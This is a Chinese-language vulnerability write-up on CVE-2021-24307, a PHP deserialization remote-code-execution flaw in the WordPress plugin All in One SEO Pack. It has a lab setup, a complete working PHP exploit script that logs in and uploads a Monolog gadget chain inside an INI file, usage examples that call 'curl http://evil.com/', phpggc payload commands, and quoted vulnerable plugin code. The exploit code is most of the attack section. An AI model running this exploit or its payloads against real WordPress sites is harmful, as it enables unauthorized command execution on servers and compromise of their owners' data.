type
Post
status
Published
date
Dec 14, 2022
slug
summary
tags
漏洞
业务安全
category
漏洞分析
icon
password
Property
Feb 9, 2023 07:29 AM

0x00漏洞描述

WordPress是WordPress(Wordpress)基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。
WordPress插件 All in One SEO Pack 4.1.0.2之前版本存在代码注入漏洞,该漏洞允许经过身份验证的攻击者使用“aioseo_tools_settings”的权限在底层主机上执行任意代码。

0x01影响版本

All in One SEO Pack < 4.1.0.2

0x02环境搭建

修改当中docker-compose.yml内容为
version: '3.3' services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: somewordpress MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress wordpress: depends_on: - db image: wordpress:5.6-php8.0 ports: - 8000:80 environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress volumes: db_data:
访问http://localhost:8000/wp-admin/,默认密码为test/test
notion image
如果遇到插件导入文件过大的问题,可通过以下设置解决问题
cd /usr/local/etc/php vim php.ini-development —> upload_max_filesize == 32M cp php.ini-development /php.ini

0x03漏洞复现

 
参考phpggc的反序列化链可以改写成如下脚本:
<?php /** All-in-one-seo-pack wordpress plugin <= 4.1.0.1 authenticated RCE CVE-2021-24307 Author: Vincent MICHEL (@darkpills) Dev notes: - Exploit strategy inspiration from https://wpscan.com/vulnerability/10320 - Monolog gadget adapted from phpggc Monolog/RCE1 - Dirty copy/pasted PHPGGC encoding function to avoid dependencies */ // from phpggc Monolog/RCE1 with custom namespace prefix "AIOSEO\Vendor\" to match all-in-one-seo-pack plugin // ./phpggc -a Monolog/RCE1 shell_exec 'curl http://localhost:4444' namespace AIOSEO\Vendor\Monolog\Handler { class SyslogUdpHandler { protected $socket; function __construct($x) { $this->socket = $x; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; # ($record['level'] < $this->level) == false protected $level = null; protected $initialized = true; # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } } } namespace { // Quick and dirty HTTP request call class class Request { protected $base_url; protected $cookiejar; protected $proxy_host; protected $proxy_port; public function __construct($base_url, $proxy = null) { $this->base_url = $base_url; $this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-'); if ($this->base_url[-1] === "/") { $this->base_url = substr($this->base_url, 0, -1); } if ($proxy) { $proxy_array = explode(":", $proxy); $this->proxy_host = $proxy_array[0]; $this->proxy_port = $proxy_array[1]; } } public function do($uri, $post = null, $headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri); curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); if ($this->proxy_host && $this->proxy_port) { curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host); curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port); } if ($headers) { curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers); } if ($post) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $content = curl_exec($ch); if(curl_errno($ch)) { throw new Exception(sprintf("HTTP Error: %s", curl_error($ch))); } $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 403) { throw new Exception(sprintf("HTTP Error: %d: %s\nMake sure you are connected with admin privileges", $http_code, $content)); } else if ($http_code >= 400) { throw new Exception(sprintf("HTTP Error: %d: %s", $http_code, $content)); } curl_close($ch); return $content; } } // Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php function process_serialized($serialized) { $new = ''; $last = 0; $current = 0; $pattern = '#\bs:([0-9]+):"#'; while( $current < strlen($serialized) && preg_match( $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current ) ) { $p_start = $matches[0][1]; $p_start_string = $p_start + strlen($matches[0][0]); $length = $matches[1][0]; $p_end_string = $p_start_string + $length; # Check if this really is a serialized string if(!( strlen($serialized) > $p_end_string + 2 && substr($serialized, $p_end_string, 2) == '";' )) { $current = $p_start_string; continue; } $string = substr($serialized, $p_start_string, $length); # Convert every special character to its S representation $clean_string = ''; for($i=0; $i < strlen($string); $i++) { $letter = $string[$i]; $clean_string .= ctype_print($letter) && $letter != '\\' ? $letter : sprintf("\\%02x", ord($letter)); ; } # Make the replacement $new .= substr($serialized, $last, $p_start - $last) . 'S:' . $matches[1][0] . ':"' . $clean_string . '";' ; $last = $p_end_string + 2; $current = $last; } $new .= substr($serialized, $last); return $new; } // Banner echo "-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --".PHP_EOL; echo "-- Exploit by Vincent MICHEL (@darkpills) --".PHP_EOL.PHP_EOL; // Check args if ($argc < 6) { echo sprintf("Usage: php %s url login password php_command arguments [proxy]", $argv[0]).PHP_EOL; echo sprintf("Example: php %s https://mywordpress.site.com/ admin admin shell_exec 'curl http://evil.com/'", $argv[0]).PHP_EOL; echo sprintf("Example: php %s https://mywordpress.site.com/ admin admin shell_exec 'curl http://evil.com/' localhost:8080", $argv[0]).PHP_EOL; exit(1); } // Check dependencies if (!extension_loaded("curl")) { echo "Extension php-curl not loaded!".PHP_EOL; exit(1); } // Settings $wp_url = $argv[1]; $wp_user = $argv[2]; $wp_pass = $argv[3]; $function = $argv[4]; $parameter = $argv[5]; $proxy = isset($argv[6]) ? $argv[6] : null; $request = new Request($wp_url, $proxy); // Create the gadget chain object $gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler( new \AIOSEO\Vendor\Monolog\Handler\BufferHandler( ['current', $function], [$parameter, 'level' => null] ) ); try { // 1) Log in as admin echo sprintf("[+] Authenticating to wordpress %s", $wp_url).PHP_EOL; $request->do("/wp-login.php", [ 'log' => $wp_user, 'pwd' => $wp_pass, 'rememberme' => 'forever', 'wp-submit' => 'Log+In', ]); // 2) GET REST Nonce echo "[+] Getting WP REST API nonce".PHP_EOL; $content = $request->do("/wp-admin/post-new.php"); preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches); if (!isset($matches[1])) { echo sprintf("[!] Nonce not found, are you connected?").PHP_EOL; exit(1); } $restnonce = $matches[1]; echo sprintf("[+] Nonce found: %s", $restnonce).PHP_EOL; // 3) Upload file to trigger RCE echo sprintf("[+] Generating POST payload to execute command: %s(\"%s\")", $function, $parameter).PHP_EOL; // Create the POST payload template $boundary = uniqid(); $postData = ""; $postData .= "------WebKitFormBoundary".$boundary ."\r\n"; $postData .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.ini\"\r\n"; $postData .= "Content-Type: application/octet-stream\r\n"; $postData .= "\r\n"; $postData .= "[Test]\r\n"; $postData .= "test='%s'\r\n"; $postData .= "\r\n"; $postData .= "------WebKitFormBoundary".$boundary ."--\r\n"; // Create the gadget chain object $gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler( new \AIOSEO\Vendor\Monolog\Handler\BufferHandler( ['current', $function], [$parameter, 'level' => null] ) ); // Serialize the object, encode the string, and populate the POST template $postData = sprintf($postData, process_serialized(serialize($gadgetChain))); // Append in HTTP headers wordpress nonce from previous request in $headers = array( "X-WP-Nonce: $restnonce", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" . $boundary ); echo "[+] Uploading ini file with import settings".PHP_EOL; $content = $request->do("/index.php/wp-json/aioseo/v1/settings/import/", $postData, $headers); echo "[+] Done! Check the result somewhere (blind command execution)".PHP_EOL; exit(0); } catch (Exception $e) { echo sprintf("[!] Error: %s", $e->getMessage()).PHP_EOL; exit(1); } }
若需要导入可 apt install php-curl,再去掉php.ini文件内的curl扩展注释即可
脚本利用效果如图:
notion image
notion image

0x04漏洞分析

此类处理插件设置的导入/导出,如前所述。调用Wordpress 核心 API 函数maybe_unserialize()。它基本上包装了 PHP 本机unserialize(),以确定输入字符串是否为 PHP 序列化数据格式并尝试对其进行反序列化。
要知道是否存在 RCE,我们必须检查是否存在注入点和数据路径,直到$value = maybe_unserialize( $value );. 上传的文件内容到AIOSEO\Plugin\Common\ImportExport\ImportExport::importIniData($contents)方法的输入:
public function importIniData( $contents ) { $lines = array_filter( preg_split( '/\r\n|\r|\n/', $contents ) ); $sections = []; $sectionLabel = ''; $sectionCount = 0; foreach ( $lines as $lineNumber => $line ) { $line = trim( $line ); // Ignore comments. if ( preg_match( '#^;.*#', $line ) || preg_match( '#\<(\?php|script)#', $line ) ) { continue; } $matches = []; if ( preg_match( '#^\[(\S+)\]$#', $line, $label ) ) { $sectionLabel = strval( $label[1] ); if ( 'post_data' === $sectionLabel ) { $sectionCount++; } if ( ! isset( $sections[ $sectionLabel ] ) ) { $sections[ $sectionLabel ] = []; } } elseif ( preg_match( "#^(\S+)\s*=\s*'(.*)'$#", $line, $matches ) ) { if ( 'post_data' === $sectionLabel ) { $sections[ $sectionLabel ][ $sectionCount ][ $matches[1] ] = $matches[2]; } else { $sections[ $sectionLabel ][ $matches[1] ] = $matches[2]; } } elseif ( preg_match( '#^(\S+)\s*=\s*NULL$#', $line, $matches ) ) { if ( 'post_data' === $sectionLabel ) { $sections[ $sectionLabel ][ $sectionCount ][ $matches[1] ] = ''; } else { $sections[ $sectionLabel ][ $matches[1] ] = ''; } } else { continue; } } $sanitizedSections = []; foreach ( $sections as $section => $options ) { $sanitizedSection = []; foreach ( $options as $option => $value ) { $sanitizedSection[ $option ] = $this->convertAndSanitize( $value ); } $sanitizedSections[ $section ] = $sanitizedSection; } $oldOptions = []; $postData = []; foreach ( $sanitizedSections as $label => $data ) { switch ( $label ) { case 'aioseop_options': $oldOptions = array_merge( $oldOptions, $data ); break; case 'aiosp_feature_manager_options': case 'aiosp_opengraph_options': case 'aiosp_sitemap_options': case 'aiosp_video_sitemap_options': case 'aiosp_schema_local_business_options': case 'aiosp_image_seo_options': case 'aiosp_robots_options': case 'aiosp_bad_robots_options': $oldOptions['modules'][ $label ] = $data; break; case 'post_data': $postData = $data; break; default: break; } } if ( ! empty( $oldOptions ) ) { aioseo()->migration->migrateSettings( $oldOptions ); } if ( ! empty( $postData ) ) { $this->importOldPostMeta( $postData ); } return true; }
它基本上解析 ini 文件部分并创建一个带有部分标签的关联数组。它在导入设置之前调用convertAndSanitize()(具有有趣名称的方法):
private function convertAndSanitize( $value ) { $value = maybe_unserialize( $value ); switch ( gettype( $value ) ) { case 'boolean': return (bool) $value; case 'string': return esc_html( wp_strip_all_tags( wp_check_invalid_utf8( trim( $value ) ) ) ); case 'integer': return intval( $value ); case 'double': return floatval( $value ); case 'array': $sanitized = []; foreach ( (array) $value as $k => $v ) { $sanitized[ $k ] = $this->convertAndSanitize( $v ); } return $sanitized; default: return ''; } }
在进行任何处理之前,该方法会尝试对第一行的内容进行反序列化。所以如果我们设法输入一个带有序列化内容的ini文件,我们可能会得到一个RCE.ini 文件内容如下所示:
[Test section] test='<mySerializedPHPValue>'
要从一个未序列化的值到一个 RCE,我们需要一个小工具链,它将进行一系列 PHP 调用序列,直到它调用任意函数。Wordpress 核心默认没有这样的链。通过挖掘插件的供应商,我发现 Monolog 是随它一起提供的。幸运的是,旧版本的 Monolog 包含几个小工具链。但是,我找不到与 AIOSEO 捆绑的 Monolog 版本的信息。
为了确定 PHPGGC for Monolog 中 7 个可用的好小工具,我不得不尝试它们:
git clone https://github.com/ambionics/phpggc cd phpggc chmod +x phpggc ./phpggc -l ... Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+ RCE (Function call) __destruct Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct * ...
我用第一个链生成了一个有效载荷:
./phpggc Monolog/RCE1 "shell_exec" "id > /tmp/id"
上传了一个虚拟 INI 文件并将文件上传请求放在转发器中
notion image
Solarwinds Web-Help-Desk 授权且鸡肋HQL注入漏洞(CVE-2021-35232)H2数据库控制台远程代码执行漏洞(CVE-2021-42392)